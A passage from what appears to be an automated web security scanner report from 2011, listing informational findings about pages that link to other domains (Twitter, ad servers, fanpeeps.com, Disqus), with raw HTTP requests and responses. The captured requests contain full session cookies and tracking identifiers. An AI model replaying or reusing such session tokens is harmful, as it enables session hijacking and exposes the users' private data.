document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/s;237090502;0-0;0;13112615;4252-336/280;40906634/40924421/1;u=^^lA;~okv=;p39=223;p39=234;p39=220;p39=227;p39=5560;s=8_10001;u=^^lA;biz=1053;sz=300x250,336x280,300x600,336x850;tile=6;~aopt=2/1/ff/1;~sscs=%3fhttp://www.theremaxcollection.com"><img src="http://s0.2mdn.net/viewad/3094835/TRC_duPont_336x280.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.102. http://api.twitter.com/1/statuses/user_timeline.json previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.twitter.com
Path:	/1/statuses/user_timeline.json

Issue detail

The page was loaded from a URL containing a query string:

http://api.twitter.com/1/statuses/user_timeline.json?since_id=52426551261798400&include_entities=1&include_available_features=1&contributor_details=true&include_rts=true&user_id=262332369

The response contains the following links to other domains:

http://si0.twimg.com/sticky/error_pages/favicon.ico
http://si0.twimg.com/sticky/error_pages/twitter_logo_header.png
http://si0.twimg.com/sticky/error_pages/whale_error.gif

Request

GET /1/statuses/user_timeline.json?since_id=52426551261798400&include_entities=1&include_available_features=1&contributor_details=true&include_rts=true&user_id=262332369 HTTP/1.1
Host: api.twitter.com
Proxy-Connection: keep-alive
Referer: http://api.twitter.com/receiver.html
X-Requested-With: XMLHttpRequest
X-Twitter-Polling: true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
X-PHX: true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059; guest_id=130530556419951159; __utmz=43838368.1305368954.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=43838368.1598605414.1305368954.1305368954.1305368954.1; __utmc=43838368; original_referer=JbKFAfGwv4RwApvTLqS%2BuSg2nN6n6Sc2FNg%2B%2FJZdApHOHiilCO8gnQ%3D%3D; _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTA6B2lkIiVkYWRmNDJhZTBkOTc0ZTVm%250AY2ZhMjc5OTY5YmVjYTdiZiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--17a095ab0ba49a89ec6ba122b48410385d145395

Response

HTTP/1.1 503 Service Unavailable
Date: Sat, 14 May 2011 12:17:00 GMT
Server: hi
Status: 503 Service Unavailable
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, max-age=300
Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTAiCmZsYXNoSUM6J0FjdGlvbkNvbnRy%250Ab2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA6B2lkIiVkYWRm%250ANDJhZTBkOTc0ZTVmY2ZhMjc5OTY5YmVjYTdiZg%253D%253D--1d8040b8314f051f527cc09828e06b740baadb22; domain=.twitter.com; path=/; HttpOnly
Expires: Sat, 14 May 2011 12:21:55 GMT
Vary: Accept-Encoding
Connection: close
Content-Length: 8328

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>

...[SNIP]...
</title>
<link href="//si0.twimg.com/sticky/error_pages/favicon.ico" rel="shortcut icon" type="image/x-icon" />

<style type="text/css">
...[SNIP]...
<a href="//twitter.com"><img src="//si0.twimg.com/sticky/error_pages/twitter_logo_header.png" width="155" height="36" alt="Twitter.com" /></a>
...[SNIP]...
<div class="error"><img src="//si0.twimg.com/sticky/error_pages/whale_error.gif" alt="" width="755" height="397" /></div>
...[SNIP]...

19.103. http://bp.specificclick.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bp.specificclick.net
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://bp.specificclick.net/?pixid=99025462

The response contains the following link to another domain:

http://b.scorecardresearch.com/p?c1=8&c2=2101&c3=1234567891234567891&c15=&cv=2.0&cj=1

Request

Response

19.104. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The page was loaded from a URL containing a query string:

http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=sb&c=17&pli=2319721&PluID=0&w=300&h=250&ord=3142682&ifrm=1&p=&npu=$$$$&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/v%3B240157455%3B0-0%3B0%3B13112524%3B4307-300/250%3B41771240/41789027/1%3Bu%3D%5E%5E%3B%7Eokv%3D%3Bp39%3D223%3Bp39%3D234%3Bp39%3D220%3Bp39%3D233%3Bu%3D%5E%5E%3Bbiz%3D1053%3Bsz%3D300x250%2C336x280%2C300x600%2C336x850%3Btile%3D6%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$

The response contains the following link to another domain:

http://ad.doubleclick.net/click;h=v8/3b07/3/0/*/v;240157455;0-0;0;13112524;4307-300/250;41771240/41789027/1;u=^^;~okv=;p39=223;p39=234;p39=220;p39=233;u=^^;biz=1053;sz=300x250,336x280,300x600,336x850;tile=6;~aopt=2/1/ff/1;~sscs=?http%3a//bs.serving%2dsys.com/BurstingPipe/BannerRedirect.bs?cn=brd%26FlightID=2319721%26Page=%26PluID=0%26EyeblasterID=4772648%26Pos=406771454613524%26ord=%5btimestamp%5d

Request

GET /BurstingPipe/adServer.bs?cn=sb&c=17&pli=2319721&PluID=0&w=300&h=250&ord=3142682&ifrm=1&p=&npu=$$$$&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/v%3B240157455%3B0-0%3B0%3B13112524%3B4307-300/250%3B41771240/41789027/1%3Bu%3D%5E%5E%3B%7Eokv%3D%3Bp39%3D223%3Bp39%3D234%3Bp39%3D220%3Bp39%3D233%3Bu%3D%5E%5E%3Bbiz%3D1053%3Bsz%3D300x250%2C336x280%2C300x600%2C336x850%3Btile%3D6%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C_4248=4844349; C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPj0cOm00001iuIZaMPl0aMI00001jxYPaMPg0doZ00001; B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD9fOJ0000000001uC

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=jtvLaMz402WG00001jFD.aMPi0cOm00001iuIZaMPl0aMI00001idcEaMPA0cEt00001jxYPaMPg0doZ00001; expires=Fri, 12-Aug-2011 06:28:41 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD8SlF0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:28:41 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:28:41 GMT
Connection: close
Content-Length: 2757

<HTML><Body><Script>/*1*/var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=e
...[SNIP]...
<noscript><a href='http://ad.doubleclick.net/click;h=v8/3b07/3/0/*/v;240157455;0-0;0;13112524;4307-300/250;41771240/41789027/1;u=^^;~okv=;p39=223;p39=234;p39=220;p39=233;u=^^;biz=1053;sz=300x250,336x280,300x600,336x850;tile=6;~aopt=2/1/ff/1;~sscs=?http%3a//bs.serving%2dsys.com/BurstingPipe/BannerRedirect.bs?cn=brd%26FlightID=2319721%26Page=%26PluID=0%26EyeblasterID=4772648%26Pos=406771454613524%26ord=%5btimestamp%5d' target='_blank'><img src='http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=bsr&FlightID=2319721&Page=&PluID=0&EyeblasterID=4772648&Pos=406771454613524&ord=[timestamp]' border=0 width=300 height=250>
...[SNIP]...

19.105. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The page was loaded from a URL containing a query string:

http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=sb&c=17&pli=2319720&PluID=0&w=300&h=250&ord=3180213&ifrm=1&p=&npu=$$$$&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/s%3B239889645%3B0-0%3B0%3B13314513%3B4307-300/250%3B41662131/41679918/1%3Bu%3D%5E%5ElA%3B%7Eokv%3D%3Bp39%3D223%3Bp39%3D234%3Bp39%3D6536%3Bs%3D8_10001%3Bu%3D%5E%5ElA%3Bbiz%3D1053%3Bsz%3D300x250%2C336x280%2C300x600%2C336x850%3Btile%3D6%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$

The response contains the following link to another domain:

http://ad.doubleclick.net/click;h=v8/3b07/3/0/*/s;239889645;0-0;0;13314513;4307-300/250;41662131/41679918/1;u=^^lA;~okv=;p39=223;p39=234;p39=6536;s=8_10001;u=^^lA;biz=1053;sz=300x250,336x280,300x600,336x850;tile=6;~aopt=2/1/ff/1;~sscs=?http%3a//bs.serving%2dsys.com/BurstingPipe/BannerRedirect.bs?cn=brd%26FlightID=2319720%26Page=%26PluID=0%26EyeblasterID=4772647%26Pos=40677264343772%26ord=%5btimestamp%5d

Request

GET /BurstingPipe/adServer.bs?cn=sb&c=17&pli=2319720&PluID=0&w=300&h=250&ord=3180213&ifrm=1&p=&npu=$$$$&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/s%3B239889645%3B0-0%3B0%3B13314513%3B4307-300/250%3B41662131/41679918/1%3Bu%3D%5E%5ElA%3B%7Eokv%3D%3Bp39%3D223%3Bp39%3D234%3Bp39%3D6536%3Bs%3D8_10001%3Bu%3D%5E%5ElA%3Bbiz%3D1053%3Bsz%3D300x250%2C336x280%2C300x600%2C336x850%3Btile%3D6%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C_4248=4844349; C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPi0cOm00001iuIZaMPl0aMI00001iETRaMPm06b+00001jxYPaMPg0doZ00001idcEaMPm0cEt00001; B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD8SlF0000000001uD8VS90000000001uD9fOJ0000000001uC

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=jtvLaMz402WG00001jFD.aMPi0cOm00001idcDaMPm0cEt00001iuIZaMPl0aMI00001idcEaMPm0cEt00001jxYPaMPg0doZ00001iETRaMPm06b+00001; expires=Fri, 12-Aug-2011 06:14:56 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD8SlF0000000001uD8SlE0000000001uD9fOJ0000000001uC8VS90000000001uD; expires=Fri, 12-Aug-2011 06:14:56 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:14:56 GMT
Connection: close
Content-Length: 2768

<HTML><Body><Script>/*1*/var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=e
...[SNIP]...
<noscript><a href='http://ad.doubleclick.net/click;h=v8/3b07/3/0/*/s;239889645;0-0;0;13314513;4307-300/250;41662131/41679918/1;u=^^lA;~okv=;p39=223;p39=234;p39=6536;s=8_10001;u=^^lA;biz=1053;sz=300x250,336x280,300x600,336x850;tile=6;~aopt=2/1/ff/1;~sscs=?http%3a//bs.serving%2dsys.com/BurstingPipe/BannerRedirect.bs?cn=brd%26FlightID=2319720%26Page=%26PluID=0%26EyeblasterID=4772647%26Pos=40677264343772%26ord=%5btimestamp%5d' target='_blank'><img src='http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=bsr&FlightID=2319720&Page=&PluID=0&EyeblasterID=4772647&Pos=40677264343772&ord=[timestamp]' border=0 width=300 height=250>
...[SNIP]...

19.106. http://commerce.wsj.com/auth/login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://commerce.wsj.com
Path:	/auth/login

Issue detail

The page was loaded from a URL containing a query string:

http://commerce.wsj.com/auth/login?mg=inert-wsj&mod=login_artpreview

The response contains the following links to other domains:

http://www.dj.com/
http://www.djreprints.com/

Request

Response

19.107. http://fanpeeps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://fanpeeps.com/?action=home&pid=-1&zpid=19

The response contains the following links to other domains:

http://a1.twimg.com/profile_images/101231804/DSIL2_bigger.jpg
http://a1.twimg.com/profile_images/101246044/nfllogo_bigger.JPG
http://a1.twimg.com/profile_images/315432176/MLBpeepsicon_bigger.jpg
http://a1.twimg.com/profile_images/682342716/idolpeepsprofile_bigger.jpg
http://a1.twimg.com/profile_images/974807396/worldcup300x300_bigger.png
http://a3.twimg.com/profile_images/101199257/NCAAicon_bigger.gif
http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js
http://www.cerebel.com/
http://www.idolpeeps.com/favicon.png
http://www.idolpeeps.com/oauth2/images/lighter.png

Request

GET /?action=home&pid=-1&zpid=19 HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/?action=news&pid=19&iid=7
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.1.10.1305376380

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:14 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17573

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<meta name="Description" content="Track twitter conversations about each Major League baseball team and American Idol contestant and vote on a ten point scale from your mobile phone via twitter." />
   <link rel="shortcut icon" href="http://www.idolpeeps.com/favicon.png" ztype="image/vnd.microsoft.icon">

   <!script type="text/javascript" src="/prototype.js">
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...
<a href=/oauth2/redirect.php><img src=http://www.idolpeeps.com/oauth2/images/lighter.png></a>
...[SNIP]...
<a rel=nofollow href=/worldcup><img src=http://a1.twimg.com/profile_images/974807396/worldcup300x300_bigger.png><br>
...[SNIP]...
<a rel=nofollow href=/ncaa><img src=http://a3.twimg.com/profile_images/101199257/NCAAicon_bigger.gif><br>
...[SNIP]...
<a rel=nofollow href=/mlb><img src=http://a1.twimg.com/profile_images/315432176/MLBpeepsicon_bigger.jpg><br>
...[SNIP]...
<a rel=nofollow href=/nfl><img src=http://a1.twimg.com/profile_images/101246044/nfllogo_bigger.JPG><br>
...[SNIP]...
<a rel=nofollow href=/?pid=1><img src=http://a1.twimg.com/profile_images/682342716/idolpeepsprofile_bigger.jpg><br>
...[SNIP]...
<a rel=nofollow href=/?pid=2><img src=http://a1.twimg.com/profile_images/101231804/DSIL2_bigger.jpg><br>
...[SNIP]...
<div id="footer">
   <a href=http://www.cerebel.com>CereBel Corporation</a>
...[SNIP]...

19.108. http://fanpeeps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://fanpeeps.com/?action=page&pid=-1&page=contact

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js
http://www.cerebel.com/
http://www.idolpeeps.com/favicon.png
http://www.idolpeeps.com/oauth2/images/lighter.png
http://www.twitter.com/IDOLpeeps

Request

GET /?action=page&pid=-1&page=contact HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.2.10.1305376380

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:25 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 19455

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<meta name="Description" content="Track twitter conversations about each Major League baseball team and American Idol contestant and vote on a ten point scale from your mobile phone via twitter." />
   <link rel="shortcut icon" href="http://www.idolpeeps.com/favicon.png" ztype="image/vnd.microsoft.icon">

   <!script type="text/javascript" src="/prototype.js">
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...
<a href=/oauth2/redirect.php><img src=http://www.idolpeeps.com/oauth2/images/lighter.png></a>
...[SNIP]...
<p>
Follow IDOLpeeps on <a href=http://www.twitter.com/IDOLpeeps>twitter</a>
...[SNIP]...
<div id="footer">
   <a href=http://www.cerebel.com>CereBel Corporation</a>
...[SNIP]...

19.109. http://fanpeeps.com/media/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The page was loaded from a URL containing a query string:

http://fanpeeps.com/media/?pid=

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js
http://www.cerebel.com/
http://www.idolpeeps.com/favicon.png
http://www.idolpeeps.com/oauth2/images/lighter.png

Request

GET /media/?pid= HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:43:40 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 32549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<meta name="Description" content="Track twitter conversations about each Major League baseball team and American Idol contestant and vote on a ten point scale from your mobile phone via twitter." />
   <link rel="shortcut icon" href="http://www.idolpeeps.com/favicon.png" ztype="image/vnd.microsoft.icon">

   <!script type="text/javascript" src="/prototype.js">
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...
<a href=/oauth2/redirect.php><img src=http://www.idolpeeps.com/oauth2/images/lighter.png></a>
...[SNIP]...
<div id="footer">
   <a href=http://www.cerebel.com>CereBel Corporation</a>
...[SNIP]...

19.110. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/activityi

Issue detail

The page was loaded from a URL containing a query string:

http://fls.doubleclick.net/activityi;src=490793;type=smart929;cat=smart430;ord=5105054569430.649?

The response contains the following links to other domains:

http://bh.contextweb.com/bh/set.aspx?action=add&advid=3196&token=SMTC1
http://bp.specificclick.net/?pixid=99025462
http://smp.specificmedia.com/smp/v=5;m=1;t=4489;ts=<timestamp_here>
http://www.burstnet.com/enlightn/8476/0AAC/

Request

Response

HTTP/1.1 200 OK
X-Frame-Options: ALLOWALL
Server: Floodlight
Date: Sat, 14 May 2011 10:18:38 GMT
Expires: Sat, 14 May 2011 10:18:38 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Content-Type: text/html
X-XSS-Protection: 1; mode=block
Content-Length: 721

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><IMG SRC="http://bp.specificclick.net?pixid=99025462" width=0 height=0 border=0><img src="http://www.burstnet.com/enlightn/8476//0AAC/" width="0" height="0" border="0"><img src="http://ad.doubleclick.net/activity;src=1379696;dcnet=4155;boom=50119;sz=1x1;ord=1?"width="1" height="1" border="0" alt=""><img src='http://smp.specificmedia.com/smp/v=5;m=1;t=4489;ts=<timestamp_here>' width='0' height='1' border='0' /><img src="http://bh.contextweb.com/bh/set.aspx?action=add&advid=3196&token=SMTC1" width="1" height="1" border="0"></body>
...[SNIP]...

19.111. https://home.mcafee.com/secure/cart/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.mcafee.com
Path:	/secure/cart/

Issue detail

The page was loaded from a URL containing a query string:

https://home.mcafee.com/secure/cart/?offerId=266730&PkgQty=1

The response contains the following links to other domains:

https://images.scanalert.com/meter/home.mcafee.com/31.gif?lang=EN
https://statse.webtrendslive.com/dcstunih010000g0z3wnxhdhh_3m1k/njs.gif?dcsuri=/nojavascript&WT.js=No&WT.tv=8.6.2
https://www.mcafeesecure.com/RatingVerify?ref=home.mcafee.com&lang=EN

Request

Response

19.112. http://mediacdn.disqus.com/1305332303/build/system/disqus.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mediacdn.disqus.com
Path:	/1305332303/build/system/disqus.js

Issue detail

The page was loaded from a URL containing a query string:

http://mediacdn.disqus.com/1305332303/build/system/disqus.js?

The response contains the following link to another domain:

http://twitter.com/'+s+'

Request

GET /1305332303/build/system/disqus.js? HTTP/1.1
Host: mediacdn.disqus.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sessionid=6e6e8ad49aa0d7774c4482858306d0b8

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Sat, 14 May 2011 00:42:40 GMT
P3P: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Content-Type: application/javascript
Vary: Accept-Encoding
X-Varnish: 2849048070 2849047653
Cache-Control: max-age=2557878
Expires: Mon, 13 Jun 2011 00:45:22 GMT
Date: Sat, 14 May 2011 10:14:04 GMT
Connection: close
Content-Length: 188676

DISQUS.dtpl=(function(){var a={version:"0.2",author:"Anton Kovalyov <anton@disqus.com>"};a.getGuestFields=function(f){function e(g){return DISQUS.nodes.get("#"+g+(f?"-"+f:""))}return{name:e("dsq-field
...[SNIP]...
<span class="dsq-mention dsq-tt dsq-mention-twitter"original-title="Expand @'+s+'\'s profile" data-dsq-username="'+s+'" data-dsq-remote="twitter"><a class="twitter-account" href="http://twitter.com/'+s+'" onclick="window.open(\''+o+"', 'Twitter Mention', 'height=420, width=550');return false;\">@"+s+"</a>
...[SNIP]...

19.113. http://mp.apmebf.com/ad/js/13754-86576-1281-0 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/13754-86576-1281-0

Issue detail

The page was loaded from a URL containing a query string:

